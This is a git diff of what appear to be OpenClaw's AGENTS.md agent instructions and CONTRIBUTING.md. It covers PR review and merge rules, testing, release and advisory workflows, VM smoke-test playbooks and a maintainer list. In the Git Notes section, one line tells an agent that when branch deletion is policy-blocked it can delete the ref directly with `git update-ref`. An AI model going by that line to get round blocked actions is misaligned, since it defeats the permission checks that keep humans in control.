- `dirty`: close PRs with too many unrelated/unexpected changes (PR-only label).
## PR truthfulness and bug-fix validation
- Never merge a bug-fix PR based only on issue text, PR text, or AI rationale.
- Before `/landpr`, run `/reviewpr` and require explicit evidence for bug-fix claims.
- Minimum merge gate for bug-fix PRs:
1. symptom evidence (repro/log/failing test),
2. verified root cause in code with file/line,
3. fix touches the implicated code path,
4. regression test (fail before/pass after) when feasible; if not feasible, include manual verification proof and why no test was added.
- If claim is unsubstantiated or likely hallucinated/BS: do not merge. Request evidence/changes, or close with `invalid` when appropriate.
- If linked issue appears wrong/outdated, correct triage first; do not merge speculative fixes.
## Project Structure & Module Organization
@@ -15,12 +53,14 @@
- Core channel docs: `docs/channels/`
- Core channel code: `src/telegram`, `src/discord`, `src/slack`, `src/signal`, `src/imessage`, `src/web` (WhatsApp web), `src/channels`, `src/routing`
- Extensions (channel plugins): `extensions/*` (e.g. `extensions/msteams`, `extensions/matrix`, `extensions/zalo`, `extensions/zalouser`, `extensions/voice-call`)
- When adding channels/extensions/apps/docs, review `.github/labeler.yml` for label coverage.
- When adding channels/extensions/apps/docs, update `.github/labeler.yml` and create matching GitHub labels (use existing channel/extension label colors).
## Docs Linking (Mintlify)
- Docs are hosted on Mintlify (docs.openclaw.ai).
- Internal doc links in `docs/**/*.md`: root-relative, no `.md`/`.mdx` (example: `[Config](/configuration)`).
- When working with documentation, read the mintlify skill.
- For docs, UI copy, and picker lists, order services/providers alphabetically unless the section is explicitly describing runtime behavior (for example auto-detection or execution order).
- Section cross-references: use anchors on root-relative paths (example: `[Hooks](/configuration#hooks)`).
- Doc headings and anchors: avoid em dashes and apostrophes in headings because they break Mintlify anchor links.
- When Peter asks for links, reply with full `https://docs.openclaw.ai/...` URLs (not root-relative).
@@ -32,6 +72,8 @@
- `docs/zh-CN/**` is generated; do not edit unless the user explicitly asks.
- Pipeline: update English docs → adjust glossary (`docs/.i18n/glossary.zh-CN.json`) → run `scripts/docs-i18n` → apply targeted fixes only if instructed.
- Before rerunning `scripts/docs-i18n`, add glossary entries for any new technical terms, page titles, or short nav labels that must stay in English or use a fixed translation (for example `Doctor` or `Polls`).
- `pnpm docs:check-i18n-glossary` enforces glossary coverage for changed English doc titles and short internal doc labels before translation reruns.
- Translation memory: `docs/.i18n/zh-CN.tm.jsonl` (generated).
- See `docs/.i18n/README.md`.
- The pipeline can be slow/inefficient; if its dragging, ping @jospalmbier on Discord instead of hacking around it.
@@ -51,30 +93,41 @@
- Runtime baseline: Node **22+** (keep Node + Bun paths working).
- Install deps: `pnpm install`
- If deps are missing (for example `node_modules` missing, `vitest not found`, or `command not found`), run the repos package-manager install command (prefer lockfile/README-defined PM), then rerun the exact requested command once. Apply this to test/build/lint/typecheck/dev commands; if retry still fails, report the command and first actionable error.
- Pre-commit hooks: `prek install` (runs same checks as CI)
- Also supported: `bun install` (keep `pnpm-lock.yaml` + Bun patching in sync when touching deps/patches).
- Prefer Bun for TypeScript execution (scripts, dev, tests): `bun <file.ts>` / `bunx <tool>`.
- Run CLI in dev: `pnpm openclaw ...` (bun) or `pnpm dev`.
- Node remains supported for running built output (`dist/*`) and production installs.
- Mac packaging (dev): `scripts/package-mac-app.sh` defaults to current arch. Release checklist: `docs/platforms/mac/release.md`.
- Mac packaging (dev): `scripts/package-mac-app.sh` defaults to current arch.
- Type-check/build: `pnpm build`
- TypeScript checks: `pnpm tsgo`
- Lint/format: `pnpm check`
- Format check: `pnpm format` (oxfmt --check)
- Format fix: `pnpm format:fix` (oxfmt --write)
- Tests: `pnpm test` (vitest); coverage: `pnpm test:coverage`
## Coding Style & Naming Conventions
- Language: TypeScript (ESM). Prefer strict typing; avoid `any`.
- Formatting/linting via Oxlint and Oxfmt; run `pnpm check` before commits.
- Never add `@ts-nocheck` and do not disable `no-explicit-any`; fix root causes and update Oxlint/Oxfmt config only when required.
- Dynamic import guardrail: do not mix `await import("x")` and static `import ... from "x"` for the same module in production code paths. If you need lazy loading, create a dedicated `*.runtime.ts` boundary (that re-exports from `x`) and dynamically import that boundary from lazy callers only.
- Dynamic import verification: after refactors that touch lazy-loading/module boundaries, run `pnpm build` and check for `[INEFFECTIVE_DYNAMIC_IMPORT]` warnings before submitting.
- Never share class behavior via prototype mutation (`applyPrototypeMixins`, `Object.defineProperty` on `.prototype`, or exporting `Class.prototype` for merges). Use explicit inheritance/composition (`A extends B extends C`) or helper composition so TypeScript can typecheck.
- If this pattern is needed, stop and get explicit approval before shipping; default behavior is to split/refactor into an explicit class hierarchy and keep members strongly typed.
- In tests, prefer per-instance stubs over prototype mutation (`SomeClass.prototype.method = ...`) unless a test explicitly documents why prototype-level patching is required.
- Add brief code comments for tricky or non-obvious logic.
- Keep files concise; extract helpers instead of “V2” copies. Use existing patterns for CLI options and dependency injection via `createDefaultDeps`.
- Aim to keep files under ~700 LOC; guideline only (not a hard guardrail). Split/refactor when it improves clarity or testability.
- Naming: use **OpenClaw** for product/app/docs headings; use `openclaw` for CLI command, package/binary, paths, and config keys.
- Written English: use American spelling and grammar in code, comments, docs, and UI strings (e.g. "color" not "colour", "behavior" not "behaviour", "analyze" not "analyse").
## Release Channels (Naming)
- stable: tagged releases only (e.g. `vYYYY.M.D`), npm dist-tag `latest`.
- beta: prerelease tags `vYYYY.M.D-beta.N`, npm dist-tag `beta` (may ship without macOS app).
- beta naming: prefer `-beta.N`; do not mint new `-1/-2` betas. Legacy `vYYYY.M.D-<patch>` and `vYYYY.M.D.beta.N` remain recognized.
- dev: moving head on `main` (no tag; git checkout main).
## Testing Guidelines
@@ -82,41 +135,45 @@
- Framework: Vitest with V8 coverage thresholds (70% lines/branches/functions/statements).
- Naming: match source names with `*.test.ts`; e2e in `*.e2e.test.ts`.
- Run `pnpm test` (or `pnpm test:coverage`) before pushing when you touch logic.
- For targeted/local debugging, keep using the wrapper: `pnpm test -- <path-or-filter> [vitest args...]` (for example `pnpm test -- src/commands/onboard-search.test.ts -t "shows registered plugin providers"`); do not default to raw `pnpm vitest run ...` because it bypasses wrapper config/profile/pool routing.
- Do not set test workers above 16; tried already.
- If local Vitest runs cause memory pressure (common on non-Mac-Studio hosts), use `OPENCLAW_TEST_PROFILE=low OPENCLAW_TEST_SERIAL_GATEWAY=1 pnpm test` for land/gate runs.
- Live tests (real keys): `CLAWDBOT_LIVE_TEST=1 pnpm test:live` (OpenClaw-only) or `LIVE=1 pnpm test:live` (includes provider live tests). Docker: `pnpm test:docker:live-models`, `pnpm test:docker:live-gateway`. Onboarding Docker E2E: `pnpm test:docker:onboard`.
- Full kit + whats covered: `docs/testing.md`.
- Changelog: user-facing changes only; no internal/meta notes (version alignment, appcast reminders, release process).
- Changelog placement: in the active version block, append new entries to the end of the target section (`### Changes` or `### Fixes`); do not insert new entries at the top of a section.
- Changelog attribution: use at most one contributor mention per line; prefer `Thanks @author` and do not also add `by @author` on the same entry.
- Pure test additions/fixes generally do **not** need a changelog entry unless they alter user-facing behavior or the user asks for one.
- Mobile: before using a simulator, check for connected real devices (iOS + Android) and prefer them when available.
## Commit & Pull Request Guidelines
**Full maintainer PR workflow (optional):** If you want the repo's end-to-end maintainer workflow (triage order, quality bar, rebase rules, commit/changelog conventions, co-contributor policy, and the `review-pr` > `prepare-pr` > `merge-pr` pipeline), see `.agents/skills/PR_WORKFLOW.md`. Maintainers may use other workflows; when a maintainer specifies a workflow, follow that. If no workflow is specified, default to PR_WORKFLOW.
- `/landpr` lives in the global Codex prompts (`~/.codex/prompts/landpr.md`); when landing or merging any PR, always follow that `/landpr` process.
- Create commits with `scripts/committer "<msg>" <file...>`; avoid manual `git add`/`git commit` so staging stays scoped.
- Follow concise, action-oriented commit messages (e.g., `CLI: add verbose flag to send`).
- Group related changes; avoid bundling unrelated refactors.
- Changelog workflow: keep latest released version at top (no `Unreleased`); after publishing, bump version and start a new top section.
- PRs should summarize scope, note testing performed, and mention any user-facing changes or new flags.
- Read this when submitting a PR: `docs/help/submitting-a-pr.md` ([Submitting a PR](https://docs.openclaw.ai/help/submitting-a-pr))
- Read this when submitting an issue: `docs/help/submitting-an-issue.md` ([Submitting an Issue](https://docs.openclaw.ai/help/submitting-an-issue))
- PR review flow: when given a PR link, review via `gh pr view`/`gh pr diff` and do **not** change branches.
- PR review calls: prefer a single `gh pr view --json ...` to batch metadata/comments; run `gh pr diff` only when needed.
- Before starting a review when a GH Issue/PR is pasted: run `git pull`; if there are local changes or unpushed commits, stop and alert the user before reviewing.
- Goal: merge PRs. Prefer **rebase** when commits are clean; **squash** when history is messy.
- PR merge flow: create a temp branch from `main`, merge the PR branch into it (prefer squash unless commit history is important; use rebase/merge when it is). Always try to merge the PR unless its truly difficult, then use another approach. If we squash, add the PR author as a co-contributor. Apply fixes, add changelog entry (include PR # + thanks), run full gate before the final commit, commit, merge back to `main`, delete the temp branch, and end on `main`.
- If you review a PR and later do work on it, land via merge/squash (no direct-main commits) and always add the PR author as a co-contributor.
- When working on a PR: add a changelog entry with the PR number and thank the contributor.
- When working on an issue: reference the issue in the changelog entry.
- When merging a PR: leave a PR comment that explains exactly what we did and include the SHA hashes.
- When merging a PR from a new contributor: add their avatar to the README “Thanks to all clawtributors” thumbnail list.
- After merging a PR: run `bun scripts/update-clawtributors.ts` if the contributor is missing, then commit the regenerated README.
- PR submission template (canonical): `.github/pull_request_template.md`
- Issue submission templates (canonical): `.github/ISSUE_TEMPLATE/`
## Shorthand Commands
- `sync`: if working tree is dirty, commit all changes (pick a sensible Conventional Commit message), then `git pull --rebase`; if rebase conflicts and cannot resolve, stop; otherwise `git push`.
### PR Workflow (Review vs Land)
## Git Notes
- **Review mode (PR link only):** read `gh pr view/diff`; **do not** switch branches; **do not** change code.
- **Landing mode:** create an integration branch from `main`, bring in PR commits (**prefer rebase** for linear history; **merge allowed** when complexity/conflicts make it safer), apply fixes, add changelog (+ thanks + PR #), run full gate **locally before committing** (`pnpm build && pnpm check && pnpm test`), commit, merge back to `main`, then `git switch main` (never stay on a topic branch after landing). Important: contributor needs to be in git graph after this!
- If `git branch -d/-D <branch>` is policy-blocked, delete the local ref directly: `git update-ref -d refs/heads/<branch>`.
- Bulk PR close/reopen safety: if a close action would affect more than 5 PRs, first ask for explicit user confirmation with the exact PR count and target scope/query.
## GitHub Search (`gh`)
- Prefer targeted keyword search before proposing new work or duplicating fixes.
- Use `--repo openclaw/openclaw` + `--match title,body` first; add `--match comments` when triaging follow-up threads.
- PRs: `gh search prs --repo openclaw/openclaw --match title,body --limit 50 -- "auto-update"`
- Issues: `gh search issues --repo openclaw/openclaw --match title,body --limit 50 -- "auto-update"`
- Structured output example:
`gh search issues --repo openclaw/openclaw --match title,body --limit 50 --json number,title,state,url,updatedAt -- "auto update" --jq '.[] | "\(.number) | \(.state) | \(.title) | \(.url)"'`
## Security & Configuration Tips
@@ -124,7 +181,22 @@
- Pi sessions live under `~/.openclaw/sessions/` by default; the base directory is not configurable.
- Environment variables: see `~/.profile`.
- Never commit or publish real phone numbers, videos, or live configuration values. Use obviously fake placeholders in docs, tests, and examples.
- Release flow: always read `docs/reference/RELEASING.md` and `docs/platforms/mac/release.md` before any release work; do not ask routine questions once those docs answer them.
- Release flow: use the private [maintainer release docs](https://github.com/openclaw/maintainers/blob/main/release/README.md) for the actual runbook; use `docs/reference/RELEASING.md` for the public release policy.
## GHSA (Repo Advisory) Patch/Publish
- Before reviewing security advisories, read `SECURITY.md`.
- Fetch: `gh api /repos/openclaw/openclaw/security-advisories/<GHSA>`
- Latest npm: `npm view openclaw version --userconfig "$(mktemp)"`
- Private fork PRs must be closed:
`fork=$(gh api /repos/openclaw/openclaw/security-advisories/<GHSA> | jq -r .private_fork.full_name)`
`gh pr list -R "$fork" --state open` (must be empty)
- Description newline footgun: write Markdown via heredoc to `/tmp/ghsa.desc.md` (no `"\\n"` strings)
- Build patch JSON via jq: `jq -n --rawfile desc /tmp/ghsa.desc.md '{summary,severity,description:$desc,vulnerabilities:[...]}' > /tmp/ghsa.patch.json`
- GHSA API footgun: cannot set `severity` and `cvss_vector_string` in the same PATCH; do separate calls.
- Patch + publish: `gh api -X PATCH /repos/openclaw/openclaw/security-advisories/<GHSA> --input /tmp/ghsa.patch.json` (publish = include `"state":"published"`; no `/publish` endpoint)
- If publish fails (HTTP 422): missing `severity`/`description`/`vulnerabilities[]`, or private fork has open PRs
- Verify: re-fetch; ensure `state=published`, `published_at` set; `jq -r .description | rg '\\\\n'` returns nothing
## Troubleshooting
@@ -133,7 +205,51 @@
## Agent-Specific Notes
- Vocabulary: "makeup" = "mac app".
- Parallels macOS retests: use the snapshot most closely named like `macOS 26.3.1 fresh` when the user asks for a clean/fresh macOS rerun; avoid older Tahoe snapshots unless explicitly requested.
- Parallels beta smoke: use `--target-package-spec openclaw@<beta-version>` for the beta artifact, and pin the stable side with both `--install-version <stable-version>` and `--latest-version <stable-version>` for upgrade runs. npm dist-tags can move mid-run.
- Parallels beta smoke, Windows nuance: old stable `2026.3.12` still prints the Unicode Windows onboarding banner, so mojibake during the stable precheck log is expected there. Judge the beta package by the post-upgrade lane.
- Parallels macOS smoke playbook:
- `prlctl exec` is fine for deterministic repo commands, but it can misrepresent interactive shell behavior (`PATH`, `HOME`, `curl | bash`, shebang resolution). For installer parity or shell-sensitive repros, prefer the guest Terminal or `prlctl enter`.
- Fresh Tahoe snapshot current reality: `brew` exists, `node` may not be on `PATH` in noninteractive guest exec. Use absolute `/opt/homebrew/bin/node` for repo/CLI runs when needed.
- Preferred automation entrypoint: `pnpm test:parallels:macos`. It restores the snapshot most closely matching `macOS 26.3.1 fresh`, serves the current `main` tarball from the host, then runs fresh-install and latest-release-to-main smoke lanes.
- Discord roundtrip smoke is opt-in. Pass `--discord-token-env <VAR> --discord-guild-id <guild> --discord-channel-id <channel>`; the harness will configure Discord in-guest, post a guest message, verify host-side visibility via the Discord REST API, post a fresh host-side message back into the channel, then verify `openclaw message read` sees it in-guest.
- Keep the Discord token in a host env var only. For Peters Mac Studio bot, fetch it into a temp env var from `~/.openclaw/openclaw.json` over SSH instead of hardcoding it in repo files/shell history.
- For Discord smoke on this snapshot: use `openclaw message send/read` via the installed wrapper, not `node openclaw.mjs message ...`; lazy `message` subcommands do not resolve the same way through the direct module entrypoint.
- For Discord guild allowlists: set `channels.discord.guilds` as one JSON object. Do not use dotted `config set channels.discord.guilds.<snowflake>...` paths; numeric snowflakes get treated as array indexes.
- Avoid `prlctl enter` / expect for the Discord config phase; long lines get mangled. Use `prlctl exec --current-user /bin/sh -lc ...` with short commands or temp files.
- Gateway verification in smoke runs should use `openclaw gateway status --deep --require-rpc`, not plain `--deep`, so probe failures go non-zero.
- Latest-release pre-upgrade diagnostics still need compatibility fallback: stable `2026.3.12` does not know `--require-rpc`, so precheck status dumps should fall back to plain `gateway status --deep` until the guest is upgraded.
- Harness output: pass `--json` for machine-readable summary; per-phase logs land under `/tmp/openclaw-parallels-smoke.*`.
- All-OS parallel runs should share the host `dist` build via `/tmp/openclaw-parallels-build.lock` instead of rebuilding three times.
- Current expected outcome on latest stable pre-upgrade: `precheck=latest-ref-fail` is normal on `2026.3.12`; treat it as a baseline signal, not a regression, unless the post-upgrade `main` lane also fails.
- Fresh host-served tgz install: restore fresh snapshot, install tgz as guest root with `HOME=/var/root`, then run onboarding as the desktop user via `prlctl exec --current-user`.
- For `openclaw onboard --non-interactive --secret-input-mode ref --install-daemon`, expect env-backed auth-profile refs (for example `OPENAI_API_KEY`) to be copied into the service env at install time; this path was fixed and should stay green.
- Dont run local + gateway agent turns in parallel on the same fresh workspace/session; they can collide on the session lock. Run sequentially.
- Root-installed tarball smoke on Tahoe can still log plugin blocks for world-writable `extensions/*` under `/opt/homebrew/lib/node_modules/openclaw`; treat that as separate from onboarding/gateway health unless the task is plugin loading.
- Parallels Windows smoke playbook:
- Preferred automation entrypoint: `pnpm test:parallels:windows`. It restores the snapshot most closely matching `pre-openclaw-native-e2e-2026-03-12`, serves the current `main` tarball from the host, then runs fresh-install and latest-release-to-main smoke lanes.
- Gateway verification in smoke runs should use `openclaw gateway status --deep --require-rpc`, not plain `--deep`, so probe failures go non-zero.
- Latest-release pre-upgrade diagnostics still need compatibility fallback: stable `2026.3.12` does not know `--require-rpc`, so precheck status dumps should fall back to plain `gateway status --deep` until the guest is upgraded.
- Always use `prlctl exec --current-user` for Windows guest runs; plain `prlctl exec` lands in `NT AUTHORITY\SYSTEM` and does not match the real desktop-user install path.
- Prefer explicit `npm.cmd` / `openclaw.cmd`. Bare `npm` / `openclaw` in PowerShell can hit the `.ps1` shim and fail under restrictive execution policy.
- Use PowerShell only as the transport (`powershell.exe -NoProfile -ExecutionPolicy Bypass`) and call the `.cmd` shims explicitly from inside it.
- Harness output: pass `--json` for machine-readable summary; per-phase logs land under `/tmp/openclaw-parallels-windows.*`.
- Current expected outcome on latest stable pre-upgrade: `precheck=latest-ref-fail` is normal on `2026.3.12`; treat it as a baseline signal, not a regression, unless the post-upgrade `main` lane also fails.
- Keep Windows onboarding/status text ASCII-clean in logs. Fancy punctuation in banners shows up as mojibake through the current guest PowerShell capture path.
- Parallels Linux smoke playbook:
- Preferred automation entrypoint: `pnpm test:parallels:linux`. It restores the snapshot most closely matching `fresh` on `Ubuntu 24.04.3 ARM64`, serves the current `main` tarball from the host, then runs fresh-install and latest-release-to-main smoke lanes.
- Use plain `prlctl exec` on this snapshot. `--current-user` is not the right transport there.
- Fresh snapshot reality: `curl` is missing and `apt-get update` can fail on clock skew. Bootstrap with `apt-get -o Acquire::Check-Date=false update` and install `curl ca-certificates` before testing installer paths.
- Fresh `main` tgz smoke on Linux still needs the latest-release installer first, because this snapshot has no Node/npm before bootstrap. The harness does stable bootstrap first, then overlays current `main`.
- This snapshot does not have a usable `systemd --user` session. Treat managed daemon install as unsupported here; use `--skip-health`, then verify with direct `openclaw gateway run --bind loopback --port 18789 --force`.
- Env-backed auth refs are still fine, but any direct shell launch (`openclaw gateway run`, `openclaw agent --local`, Linux `gateway status --deep` against that direct run) must inherit the referenced env vars in the same shell.
- `prlctl exec` reaps detached Linux child processes on this snapshot, so a background `openclaw gateway run` launched from automation is not a trustworthy smoke path. The harness verifies installer + `agent --local`; do direct gateway checks only from an interactive guest shell when needed.
- When you do run Linux gateway checks manually from an interactive guest shell, use `openclaw gateway status --deep --require-rpc` so an RPC miss is a hard failure.
- Prefer direct argv guest commands for fetch/install steps (`curl`, `npm install -g`, `openclaw ...`) over nested `bash -lc` quoting; Linux guest quoting through Parallels was the flaky part.
- Harness output: pass `--json` for machine-readable summary; per-phase logs land under `/tmp/openclaw-parallels-linux.*`.
- Current expected outcome on Linux smoke: fresh + upgrade should pass installer and `agent --local`; gateway remains `skipped-no-detached-linux-gateway` on this snapshot and should not be treated as a regression by itself.
- Never edit `node_modules` (global/Homebrew/npm/git installs too). Updates overwrite. Skill notes go in `tools.md` or `AGENTS.md`.
- When adding a new `AGENTS.md` anywhere in the repo, also add a `CLAUDE.md` symlink pointing to it (example: `ln -s AGENTS.md CLAUDE.md`).
- Signal: "update fly" => `fly ssh console -a flawd-bot -C "bash -lc 'cd /data/clawd/openclaw && git pull --rebase origin main'"` then `fly machines restart e825232f34d058 -a flawd-bot`.
- When working on a GitHub Issue or PR, print the full URL at the end of the task.
- When answering questions, respond with high-confidence answers only: verify in code; do not guess.
@@ -147,13 +263,13 @@
- If shared guardrails are available locally, review them; otherwise follow this repo's guidance.
- SwiftUI state management (iOS/macOS): prefer the `Observation` framework (`@Observable`, `@Bindable`) over `ObservableObject`/`@StateObject`; dont introduce new `ObservableObject` unless required for compatibility, and migrate existing usages when touching related code.
- Connection providers: when adding a new connection, update every UI surface and docs (macOS app, web UI, mobile if applicable, onboarding/overview docs) and add matching status + configuration forms so provider lists and settings stay in sync.
- Version locations: `package.json` (CLI), `apps/android/app/build.gradle.kts` (versionName/versionCode), `apps/ios/Sources/Info.plist` + `apps/ios/Tests/Info.plist` (CFBundleShortVersionString/CFBundleVersion), `apps/macos/Sources/OpenClaw/Resources/Info.plist` (CFBundleShortVersionString/CFBundleVersion), `docs/install/updating.md` (pinned npm version), `docs/platforms/mac/release.md` (APP_VERSION/APP_BUILD examples), Peekaboo Xcode projects/Info.plists (MARKETING_VERSION/CURRENT_PROJECT_VERSION).
- Version locations: `package.json` (CLI), `apps/android/app/build.gradle.kts` (versionName/versionCode), `apps/ios/Sources/Info.plist` + `apps/ios/Tests/Info.plist` (CFBundleShortVersionString/CFBundleVersion), `apps/macos/Sources/OpenClaw/Resources/Info.plist` (CFBundleShortVersionString/CFBundleVersion), `docs/install/updating.md` (pinned npm version), and Peekaboo Xcode projects/Info.plists (MARKETING_VERSION/CURRENT_PROJECT_VERSION).
- "Bump version everywhere" means all version locations above **except** `appcast.xml` (only touch appcast when cutting a new macOS Sparkle release).
- **Restart apps:** “restart iOS/Android apps” means rebuild (recompile/install) and relaunch, not just kill/launch.
- **Device checks:** before testing, verify connected real devices (iOS/Android) before reaching for simulators/emulators.
- iOS Team ID lookup: `security find-identity -p codesigning -v` → use Apple Development (…) TEAMID. Fallback: `defaults read com.apple.dt.Xcode IDEProvisioningTeamIdentifiers`.
- A2UI bundle hash: `src/canvas-host/a2ui/.bundle.hash` is auto-generated; ignore unexpected changes, and only regenerate via `pnpm canvas:a2ui:bundle` (or `scripts/bundle-a2ui.sh`) when needed. Commit the hash as a separate commit.
- Release signing/notary keys are managed outside the repo; follow internal release docs.
- Notary auth env vars (`APP_STORE_CONNECT_ISSUER_ID`, `APP_STORE_CONNECT_KEY_ID`, `APP_STORE_CONNECT_API_KEY_P8`) are expected in your environment (per internal release docs).
- Release signing/notary credentials are managed outside the repo; maintainers keep that setup in the private [maintainer release docs](https://github.com/openclaw/maintainers/tree/main/release).
- **Multi-agent safety:** do **not** create/apply/drop `git stash` entries unless explicitly requested (this includes `git pull --rebase --autostash`). Assume other agents may be working; keep unrelated WIP untouched and avoid cross-cutting state changes.
- **Multi-agent safety:** when the user says "push", you may `git pull --rebase` to integrate latest changes (never discard other agents' work). When the user says "commit", scope to your changes only. When the user says "commit all", commit everything in grouped chunks.
- **Multi-agent safety:** do **not** create/remove/modify `git worktree` checkouts (or edit `.worktrees/*`) unless explicitly requested.
@@ -178,12 +294,27 @@
- launchd PATH is minimal; ensure the apps launch agent PATH includes standard system paths plus your pnpm bin (typically `$HOME/Library/pnpm`) so `pnpm`/`openclaw` binaries resolve when invoked via `openclaw-mac`.
- For manual `openclaw message send` messages that include `!`, use the heredoc pattern noted below to avoid the Bash tools escaping.
- Release guardrails: do not change version numbers without operators explicit consent; always ask permission before running any npm publish/release step.
- Beta release guardrail: when using a beta Git tag (for example `vYYYY.M.D-beta.N`), publish npm with a matching beta version suffix (for example `YYYY.M.D-beta.N`) rather than a plain version on `--tag beta`; otherwise the plain version name gets consumed/blocked.
## NPM + 1Password (publish/verify)
## Release Auth
- Use the 1password skill; all `op` commands must run inside a fresh tmux session.
- Sign in: `eval "$(op signin --account my.1password.com)"` (app unlocked + integration on).
- OTP: `op read 'op://Private/Npmjs/one-time password?attribute=otp'`.
- Publish: `npm publish --access public --otp="<otp>"` (run from the package dir).
- Verify without local npmrc side effects: `npm view <pkg> version --userconfig "$(mktemp)"`.
- Kill the tmux session after publish.
- Core `openclaw` publish uses GitHub trusted publishing; do not use `NPM_TOKEN` or the plugin OTP flow for core releases.
- Separate `@openclaw/*` plugin publishes use a different maintainer-only auth flow.
- Plugin scope: only publish already-on-npm `@openclaw/*` plugins. Bundled disk-tree-only plugins stay out.
- Maintainers: private 1Password item names, tmux rules, plugin publish helpers, and local mac signing/notary setup live in the private [maintainer release docs](https://github.com/openclaw/maintainers/blob/main/release/README.md).
## Changelog Release Notes
- When cutting a mac release with beta GitHub prerelease:
- Tag `vYYYY.M.D-beta.N` from the release commit (example: `v2026.2.15-beta.1`).
- Create prerelease with title `openclaw YYYY.M.D-beta.N`.
- Use release notes from `CHANGELOG.md` version section (`Changes` + `Fixes`, no title duplicate).
- Attach at least `OpenClaw-YYYY.M.D.zip` and `OpenClaw-YYYY.M.D.dSYM.zip`; include `.dmg` if available.
- Keep top version entries in `CHANGELOG.md` sorted by impact:
- `### Changes` first.
- `### Fixes` deduped and ranked with user-facing fixes first.
- Before tagging/publishing, run:
- `node --import tsx scripts/release-check.ts`
- `pnpm release:check`
- `pnpm test:install:smoke` or `OPENCLAW_INSTALL_SMOKE_SKIP_NONROOT=1 pnpm test:install:smoke` for non-root smoke path.

File diff suppressed because it is too large Load Diff

View File

@@ -5,6 +5,7 @@ Welcome to the lobster tank! 🦞
## Quick Links
- **GitHub:** https://github.com/openclaw/openclaw
- **Vision:** [`VISION.md`](VISION.md)
- **Discord:** https://discord.gg/qkhbAGHRBT
- **X/Twitter:** [@steipete](https://x.com/steipete) / [@openclaw](https://x.com/openclaw)
@@ -13,30 +14,104 @@ Welcome to the lobster tank! 🦞
- **Peter Steinberger** - Benevolent Dictator
- GitHub: [@steipete](https://github.com/steipete) · X: [@steipete](https://x.com/steipete)
- **Shadow** - Discord + Slack subsystem
- GitHub: [@thewilloftheshadow](https://github.com/thewilloftheshadow) · X: [@4shad0wed](https://x.com/4shad0wed)
- **Shadow** - Discord subsystem, Discord admin, Clawhub, all community moderation
- GitHub: [@thewilloftheshadow](https://github.com/thewilloftheshadow) · X: [@4shadowed](https://x.com/4shadowed)
- **Vignesh** - Memory (QMD), formal modeling, TUI, IRC, and Lobster
- GitHub: [@vignesh07](https://github.com/vignesh07) · X: [@\_vgnsh](https://x.com/_vgnsh)
- **Jos** - Telegram, API, Nix mode
- GitHub: [@joshp123](https://github.com/joshp123) · X: [@jjpcodes](https://x.com/jjpcodes)
- **Ayaan Zaidi** - Telegram subsystem, Android app
- GitHub: [@obviyus](https://github.com/obviyus) · X: [@0bviyus](https://x.com/0bviyus)
- **Tyler Yust** - Agents/subagents, cron, BlueBubbles, macOS app
- GitHub: [@tyler6204](https://github.com/tyler6204) · X: [@tyleryust](https://x.com/tyleryust)
- **Mariano Belinky** - iOS app, Security
- GitHub: [@mbelinky](https://github.com/mbelinky) · X: [@belimad](https://x.com/belimad)
- **Nimrod Gutman** - iOS app, macOS app and crustacean features
- GitHub: [@ngutman](https://github.com/ngutman) · X: [@theguti](https://x.com/theguti)
- **Vincent Koc** - Agents, Telemetry, Hooks, Security
- GitHub: [@vincentkoc](https://github.com/vincentkoc) · X: [@vincent_koc](https://x.com/vincent_koc)
- **Val Alexander** - UI/UX, Docs, and Agent DevX
- GitHub: [@BunsDev](https://github.com/BunsDev) · X: [@BunsDev](https://x.com/BunsDev)
- **Seb Slight** - Docs, Agent Reliability, Runtime Hardening
- GitHub: [@sebslight](https://github.com/sebslight) · X: [@sebslig](https://x.com/sebslig)
- **Christoph Nakazawa** - JS Infra
- GitHub: [@cpojer](https://github.com/cpojer) · X: [@cnakazawa](https://x.com/cnakazawa)
- **Gustavo Madeira Santana** - Multi-agents, CLI, web UI
- GitHub: [@gumadeiras](https://github.com/gumadeiras) · X: [@gumadeiras](https://x.com/gumadeiras)
- **Onur Solmaz** - Agents, dev workflows, ACP integrations, MS Teams
- GitHub: [@onutc](https://github.com/onutc), [@osolmaz](https://github.com/osolmaz) · X: [@onusoz](https://x.com/onusoz)
- **Josh Avant** - Core, CLI, Gateway, Security, Agents
- GitHub: [@joshavant](https://github.com/joshavant) · X: [@joshavant](https://x.com/joshavant)
- **Jonathan Taylor** - ACP subsystem, Gateway features/bugs, Gog/Mog/Sog CLI's, SEDMAT
- GitHub [@visionik](https://github.com/visionik) · X: [@visionik](https://x.com/visionik)
- **Josh Lehman** - Compaction, Tlon/Urbit subsystem
- GitHub [@jalehman](https://github.com/jalehman) · X: [@jlehman\_](https://x.com/jlehman_)
- **Radek Sienkiewicz** - Docs, Control UI
- GitHub [@velvet-shark](https://github.com/velvet-shark) · X: [@velvet_shark](https://twitter.com/velvet_shark)
- **Muhammed Mukhthar** - Mattermost, CLI
- GitHub [@mukhtharcm](https://github.com/mukhtharcm) · X: [@mukhtharcm](https://x.com/mukhtharcm)
- **Altay** - Agents, CLI, error handling
- GitHub [@altaywtf](https://github.com/altaywtf) · X: [@altaywtf](https://x.com/altaywtf)
- **Robin Waslander** - Security, PR triage, bug fixes
- GitHub: [@hydro13](https://github.com/hydro13) · X: [@Robin_waslander](https://x.com/Robin_waslander)
- **Tengji (George) Zhang** - Chinese model APIs, cloud, pi
- GitHub: [@odysseus0](https://github.com/odysseus0) · X: [@odysseus0z](https://x.com/odysseus0z)
- **Andrew (Bubbles) Demczuk** - Agents/Gateway/TTS/VTT
- GitHub: [@ademczuk](https://github.com/ademczuk) · X: [@ademczuk](https://x.com/ademczuk)
## How to Contribute
1. **Bugs & small fixes** → Open a PR!
2. **New features / architecture** → Start a [GitHub Discussion](https://github.com/openclaw/openclaw/discussions) or ask in Discord first
3. **Questions** → Discord #setup-help
3. **Questions** → Discord [#help](https://discord.com/channels/1456350064065904867/1459642797895319552) / [#users-helping-users](https://discord.com/channels/1456350064065904867/1459007081603403828)
## Before You PR
- Test locally with your OpenClaw instance
- Run tests: `pnpm build && pnpm check && pnpm test`
- Keep PRs focused (one thing per PR)
- For extension/plugin changes, run the fast local lane first:
- `pnpm test:extension <extension-name>`
- If you changed shared plugin or channel surfaces, still run the broader relevant lanes (`pnpm test:extensions`, `pnpm test:channels`, or `pnpm test`) before asking for review
- If you have access to Codex, run `codex review --base origin/main` locally before opening or updating your PR. Treat this as the current highest standard of AI review, even if GitHub Codex review also runs.
- Ensure CI checks pass
- Keep PRs focused (one thing per PR; do not mix unrelated concerns)
- Describe what & why
- Reply to or resolve bot review conversations you addressed before asking for review again
- **Include screenshots** — one showing the problem/before, one showing the fix/after (for UI or visual changes)
